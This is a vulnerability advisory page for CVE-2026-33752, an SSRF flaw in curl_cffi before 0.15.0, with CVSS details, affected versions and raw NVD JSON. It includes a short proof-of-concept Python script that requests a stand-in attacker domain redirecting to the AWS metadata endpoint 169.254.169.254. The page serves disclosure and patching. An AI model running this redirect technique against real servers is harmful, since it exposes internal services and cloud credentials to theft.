Security Vulnerability Report
中文
CVE-2026-33752 CVSS 8.6 HIGH

CVE-2026-33752

Published: 2026-04-06 16:16:34
Last Modified: 2026-04-09 18:10:21

Description

curl_cffi is the a Python binding for curl. Prior to 0.15.0, curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl. Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls. This vulnerability is fixed in 0.15.0.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:lexiforest:curl_cffi:*:*:*:*:*:python:*:* - VULNERABLE
cpe:2.3:a:lexiforest:curl_cffi:0.15.0:beta1:*:*:*:python:*:* - VULNERABLE
cpe:2.3:a:lexiforest:curl_cffi:0.15.0:beta2:*:*:*:python:*:* - VULNERABLE
cpe:2.3:a:lexiforest:curl_cffi:0.15.0:beta3:*:*:*:python:*:* - VULNERABLE
cpe:2.3:a:lexiforest:curl_cffi:0.15.0:beta4:*:*:*:python:*:* - VULNERABLE
curl_cffi < 0.15.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import sys from curl_cffi import requests # Exploit concept for CVE-2026-33752 # This script demonstrates how an attacker can force the server to request internal resources. def exploit_ssrf(target_url): try: # The attacker controls 'target_url'. # It should respond with a redirect (302) to an internal IP (e.g., metadata service). print(f"[+] Sending request to malicious URL: {target_url}") # curl_cffi < 0.15.0 follows redirects to internal IPs automatically # and uses TLS impersonation which might bypass WAFs. response = requests.get(target_url) # If the internal service returns content, it will be exposed here. print("[+] Response received:") print(response.text) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example: A controlled URL that redirects to http://169.254.169.254/latest/meta-data/ malicious_redirect_url = "http://attacker-controlled-domain.com/redirect_to_aws_metadata" exploit_ssrf(malicious_redirect_url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33752", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:34.140", "lastModified": "2026-04-09T18:10:21.143", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "curl_cffi is the a Python binding for curl. Prior to 0.15.0, curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl. Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls. This vulnerability is fixed in 0.15.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lexiforest:curl_cffi:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.15.0", "matchCriteriaId": "5FEECC54-A1DD-4B1C-B8AF-D7DA6004B6C4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:lexiforest:curl_cffi:0.15.0:beta1:*:*:*:python:*:*", "matchCriteriaId": "3E631217-0FE4-4470-B758-2869B22A9331"}, {"vulnerable": true, "criteria": "cpe:2.3:a:lexiforest:curl_cffi:0.15.0:beta2:*:*:*:python:*:*", "matchCriteriaId": "AFB5A6A0-1EBE-4059-8105-C96CDAB06EE3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:lexiforest:curl_cffi:0.15.0:beta3:*:*:*:python:*:*", "matchCriteriaId": "99E5BB3A-55C5-40C5-9952-C2F9DAB5B0B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:lexiforest:curl_cffi:0.15.0:beta4:*:*:*:python:*:*", "matchCriteriaId": "79ECE465-3520-45F5-B537-98A85A186CF0"}]}]}], "references": [{"url": "https://github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}